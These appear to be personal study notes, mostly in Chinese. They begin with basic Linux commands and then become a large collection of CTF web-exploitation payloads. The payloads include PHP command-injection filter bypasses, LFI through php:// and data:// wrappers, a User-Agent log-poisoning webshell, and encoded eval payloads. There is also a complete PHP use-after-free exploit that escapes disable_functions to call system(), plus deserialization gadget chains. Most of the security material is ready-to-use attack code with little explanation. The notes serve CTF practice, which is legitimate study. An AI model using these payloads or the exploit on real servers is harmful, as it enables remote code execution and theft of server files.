subbreaker break --lang EN --text "内容"

-.-./-/..-./.--/.--././../-----/---../--.../...--/..---/..--../..---/...--/-../--..

压缩包密码:摂m墷m卪倕ⅲm仈Z
呜呜呜,我忘记了压缩包密码的编码了,大家帮我解一哈。

1、在linux系统中没有盘符的概念，只有一个根目录/(斜杠)，所有的文件都在它下面
2、在linux系统中层次关系使用/来表示，Windows使用\来表示
比如说/根目录下面的usr文件夹下的local文件夹中的hello.txt表示路径为/usr/local/hello.txt,第一个反斜杠表示根目录，后面的/表示层级关系
3、

命令行：即linux终端，是一种命令提示符页面。以纯字符的形式操作系统，可以使用各种字符化命令对系统发出操作指令。
命令：即linux程序。一个命令就是一个linux的程序。命令没有图形化界面，可以在命令行提供字符化的反馈

command [-options] [parameter] 
commmand:命令本身 -options:[可选，非必填]命令的一些选项，控制命令的一些行为细节
parameter：[可选，非必填]命令的参数，多数用于命令的指向目标等 语法中[]表示可选
实例：ls -l /home/itheima,ls是命令本身，-l是选项,/home/itheima是参数
意思是以列表的形式，显示/home/itheima目录内的内容

ls [-a -l -h] [linux路径]
当不使用选项和参数，直接使用ls命令本体，表示：以平铺形式，列出当前工作目录下的内容
当前工作目录：linux系统的命令行终端，在启动时默认加载：
1、当前登录用户的HOME目录作为当前工作目录，所以ls命令列出的时HOME目录的内容
HOME目录：每个linux用户在linux操作系统的个人账户目录，路径：/home/用户名

-a:表示all的意思，即列出全部文件(包含隐藏文件/文件夹)
-l:表示以列表的形式展示内容，并展示更多信息
-h:需要和-l选项搭配使用，可以在列表中文件大小一栏显示单位

语法：cd[linux路径]
cd无需选项，只有参数，表示要切换到哪个目录下
cd命令直接执行，不写参数，表示回到用户的HOME目录

绝对路径：以根目录为起点，描述路径的一种写法，路径描述以/开头
相对路径： 以当前目录为起点，描述路径的一种写法，路径描述无需以/开头

. 表示当前目录，比如cd./desktop表示切换到当前目录下的desktop目录内，和cd desktop效果一样
..表示上一级目录，比如：cd ..退回上一级 cd ../.. 退回上两级 
~ 表示HOME目录 cd ~ <=>cd

语法：mkdir [-p] linux路径
参数必填，表示创建文件夹的路径，相对路径和绝对路径均可
-p选项可选，表示自动创建不存在的父目录，适用于创建连续多层级的目录

touch linux路径
参数表示创建的文件路径,记得写要创建的文件后缀

语法：cp [-r] 参数1 参数2
-r选项，可选，用于复制文件夹使用，表示递归
参数1，linux路径，表示被复制的文件或文件夹
参数2，linux路径，表示要复制去的地方

语法：mv 参数1 参数2
1表示要移动的，2表示移动到的地方，如果目标不存在则进行改名，确保目标存在

语法：rm [-r -f] 参数1 参数2 ...
-r适用于删除文件夹
-f表示force，强制删除(不会弹出确认信息)
参数表示要删除的文件或文件夹路径，用空格隔开

good moring everyone !
I am learning vim !

#! /bin/bash
#hello
echo 'hello Linux'

#! /bin/bash
#3.sh
echo $1;
echo $2;

A=`ls`
结果：01.c 02.c 1.sh 2.sh

#ls -l c{ar,an,at}s
列出car、cans、cats

eval() 把字符串当作 PHP 代码来执行，必须以分号结尾
assert()断言函数 在RCE漏洞里的作用和eval相当且不需要加分号

<?php
$cmd = 'dir';
exec($cmd,$dazhuang);
var_dump($dazhuang);
?>

<?php
echo shell_exec('dir');
?>

<?php
$cmd='dir';
echo `$cmd`;
?>

<?php
$s = popen('dir','r');
$b =fgets($s);
print_r($b);
?>

| 把前面命令的输出结果当成后面命令的参数，只显示后面命令执行结果
|| 如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句
& 前面和后面命令都要执行，无论前面真假
&& 如果前面为假，后面的命令也不执行，如果前面为真则执行后面的命令
; 顺序执行，前面指令出错不影响后面的指令执行      

tac:反向显示  
less/more:一页一页显示文件内容，敲空格显示下一页
tail:查看末尾几行，默认最后10行
nl：显示的时候，顺便标注行号
od：以二进制的方式读取文件内容 //显示是以16进制
xxd:读取二进制文件
sort：主要用于排序文件
uniq:报告或删除文件中重复的行
file -f：报错出具体内容
grep:在文本中查找某些字符串
rev:反转文件中的每一行

`echo Y2F0IHRlc3QucGhw | base64 -d`

if [ $(cat ./test.php | awk NR==1 | cut -c 1) == h  ];then sleep 2;fi

>ag
>l \\
>f \\
>cat\ \\
ls -t >x
.x(sh x)  //执行了cat flag

#encodeing:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/index.php?cmd="
s = requests.session()

list=[
    '>7777'
    '\ \\'
    ...
    '>ca\\'
    'ls -t>a'
]
for i in list:
    time.sleep(1)
    url = baseurl + str(i)
    s.get(url)
s.get(baseurl+"sh a")

?c=system("cp fla?.php 1.txt");
?c=system("mv fla?.php 1.txt");

?c=echo file_get_contents("1.txt");

?c=eval($_GET[1]);&1=system('tac flag.php');

?c=echo%09`tac%09fl*`;  

?c=print_r(scandir(pos(localeconv()))); 

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

flag
system
php
cat
sort
shell
.
 
'
`
echo
;
(

?c=eval($_GET[1]);&1=system("ls");

?c=include%0a$_GET[1]?>&1=/etc/passwd

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=data://text/plain,<?php system("mv fla?.php 1.txt"); ?>

?c=data://text/plain,<?= system("mv fla?.??? 1.txt"); ?>

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,<?php phpinfo();?>

?c=print_r(get_defined_vars());   //var_dump

post传参：1=phpinfo();

?c=print(array_pop((next((get_defined_vars())))));

?c=eval(array_pop((next((get_defined_vars())))));

  %00 %20
! %00 %21
" %00 %22
# %00 %23
% %00 %25
' %00 %27
( %00 %28
) %00 %29
* %00 %2a
, %00 %2c
. %00 %2e
/ %00 %2f
: %00 %3a
; %00 %3b
< %00 %3c
= %00 %3d
> %00 %3e
? %00 %3f
@ %00 %40
\ %00 %5c
_ %00 %5f
` %00 %60
| %00 %7c
! %01 %20
! %01 %21
# %01 %22
# %01 %23
% %01 %25
' %01 %27
) %01 %28
) %01 %29

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的，都可以执行

<?php
$c='(phpinfo)()';
echo($c);
?>
输出：(phpinfo)()
传入：eval("echo($c);");
=>eval("(phpinfo)();");

如构造一个 (system)('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

>/dev/null：
	说明一下 /dev/null 说白了就是写入这个里面的内容都会丢失，读取这里面的内容什么也不会读取到
	而前面的 > 表示重定向代表的是要去哪里
	因为 > 前面没有数值，所以默认的是1，表示标准输出重定向到 /dev/null (空设备文件)
	因此不会显示任何的数据，同时也不会读取到任何的数据
	
2>&1：
	这里的1表示stdout标准输出，系统默认值是1，因此 > 前面没有值的时候就是默认标准输出 1>
	这里的2表示stderr标准错误
	&表示等同于的意思
	在这里这个语句的意思就表示2的输出重定向等同于1，即标准错误输出重定向等同于标准输出
	因为之前标准输出已经重定向到空设备文件，左移标准错误输出也重定向到空设备文件

c=tac flag.php||	
c=tac flag.php%0a	// %0a是url编码，表示的是换行
c=tac flag.php%26	// %26是url编码，表示的是&符

此外，php版本小于5的时候因为php的底层是C，所以截断有另外的%00可以使用

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))

?c=nl<fl''ag.php||
?c=nl<fl''ag.ph''p||
?c=tac<>fl''ag.php||

?c=cp$IFS/fla?$IFS/var/www/html/b.txt||

?c=mv${IFS}fla?.php${IFS}z.txt

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

c=echo file_get_contents("flag.php");

c=highlight_file('flag.php'); 
c=show_source('flag.php');

c=include $_GET[1];
?1=php://filter/read=convert.base64-encode/resource=flag.php

c=include 'flag.php';echo $flag;
c=include('flag.php');echo $flag;

c=include('flag.php');var_dump(get_defined_vars());

c=rename("flag.php","1.txt");  //然后访问1.txt

//初始化
　　$ch = curl_init();
　　//设置选项，包括URL
　　curl_setopt($ch, CURLOPT_URL, "http://www.learnphp.cn");
　　curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
　　curl_setopt($ch, CURLOPT_HEADER, 0);
　　//执行并获取HTML文档内容
　　$output = curl_exec($ch);
　　//释放curl句柄
　　curl_close($ch);
　　//打印获得的数据
　　print_r($output);

c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);

c=highlight_file('flag.php');

c=var_dump(scandir('.'));

c=var_dump(scandir('../../../'));

c=highlight_file('/flag.txt');

c=include("/flag.txt");exit(); 

c=include("/flag.txt");exit(); 

c=var_dump(scandir('/'));
c=$a=scandir('/');

c=var_dump(scandir('/'));exit();

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0);  #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
c=include('/flagc.txt');exit(0);
c=require('/flagc.txt');exit(0);
c=include_once('/flagc.txt');exit(0);
c=require_once('/flagc.txt');exit(0);

$a = "glob:///*.txt";
	if ( $b =opendir($a) ){
		while ( ($file = readdir($b)) !== false ){
			echo "filename:".$file."\n";
		}
		closedir($b);
	}exit();

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit(); 

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit();

?file=data://text/plain,<?= system("ls /"); ?>

?file=data://text/plain,<?= system("tac ./flag.*"); ?>

?file=data://text/plain,<?= eval($_POST[1]); ?>
post:1=system("tac flag.php");

文件头写入：User-Agent:<?php eval($_POST[1]); ?>
?file=/var/log/nginx/access.log
post：1=system("tac ./fl0g.php");

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

/?ip=

flag.php
index.php

/?ip= fxck your space!

/?ip= 1fxck your symbol!

/?ip= fxck your flag!

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

& / ？ * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

/?ip=127.0.0.1;tac$IFS$9`ls`

$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
  @eval($_GET['cmd']);
}

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  
__tostring()方法在题目中
$password = unserialize($password);
echo $password; //触发魔术方法

?c=print_r(scandir(pos(localeconv()))); 

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

highlight_file() 函数对文件进行语法高亮显示，本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组，该数组的第一个元素就是"."

show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

?exp=show_source(next(array_reverse(scandir(getcwd()))));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

法一：
?exp=highlight_file(session_id(session_start()));
请求头：
Cookie: PHPSESSID=flag.php

法二 ：
?exp=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b    //为什么要编码，因为PHPSESSID不允许括号
(706870696e666f28293b为phpinfo();的十六进制编码)

?c=print_r(get_defined_vars());   //var_dump

post传参：1=phpinfo();

?c=print(array_pop((next((get_defined_vars())))));

?c=eval(array_pop((next((get_defined_vars())))));
?c=eval(array_pop((current((get_defined_vars())))));

?exp=eval(implode(getallheaders()));

<?php
$a=array('benben','dazhuang','laoliu');
echo serialize($a);
?>
输出：a:3:{i:0;s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

O(object):4(类名长度):"test"(类名):1(变量数量):{s:3(变量名字长度):"pub"(变量名字);s:6(值的长度):"benben"(变量值);}
O:4:"test":1:{s:3:"pub";s:6:"benben";}

echo urlencode(serialize($value));

_construct() //实例化对象
__destruct() //对象引用完成或对象被销毁反序列化之后
__wakeup() //执行unserialize()时，先会调用这个函数
__sleep() //执行serialize()时，先会调用这个函数
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__get() //调用的成员属性不存在
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发

class A{
      private $filename = 'flag.php';
    }
echo urlencode(serialize(new A()));

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));
?>

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

<?php
class Road_is_Long{
    public $page;
    public $string;
    
}

class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=/flag';
    
}

class Make_a_Change{
    public $effort;
}
$b=new Try_Work_Hard();
$c=new Make_a_Change();
$a=new Road_is_Long();
$c->effort=$b;
$a->string=$c;
$a->page=$a;
echo urlencode(serialize($a));
?>

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);

public function process() {
       if($this->op == "1") {
           $this->write();
       } else if($this->op == "2") {
           $res = $this->read();
           $this->output($res);
       } else {
           $this->output("Bad Hacker!");
       }
   }

private function output($s) {
       echo "[Result]: <br>";
       echo $s;

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

<?php
	class FileHandler {
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
$a = new FileHandler();
echo serialize($a);

?>

O:1:"A":2:{s:8:"username";N;s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

反序列化操作也给了出来:
$b = unserialize(read(write(serialize($a))));
write方法：把序列化值中的 *(这里是三个字符，chr(0)是为空的)替换成 \0\0\0。
read方法：把\0\0\0，还原成*

$a[]='flag.php';
     
$a=array('flag.php');
     
$a=['flag.php'];

攻击者将恶意代码注入到服务器中（如论坛、留言板、邮件等）；
用户在没有防备的情况下访问了被注入了恶意代码的服务器；
服务器将含有恶意代码的网页响应给客户端；
在客户端浏览器中触发JS恶意代码。

恶意用户利用xss代码攻击成功后，可能会得到很高的权限
（1）盗取各种用户账号；
（2）窃取用户Cookie资料，冒充用户身份进入网站；
（3）劫持用户会话，执行任意操作；是指操作用户浏览器；
（4）刷流量，执行弹窗广告；
（5）传播蠕虫病毒。

POC：全称 ’ Proof of Concept '，中文 ’ 概念验证 ’ ，常指一段漏洞验证的代码。
EXP：全称 ’ Exploit '，中文 ’ 利用 '，指利用系统漏洞进行攻击的工具，即从漏洞检测验证到利用的工具。
Payload：中文 ’ 有效载荷 '，指成功exploit之后，真正在目标系统执行的代码或指令。
Shellcode：简单翻译 ’ shell代码 '，利用漏洞时所执行的代码，是Payload的一种。Shellcode也有很多种，包括正向的，反向的，甚至meterpreter。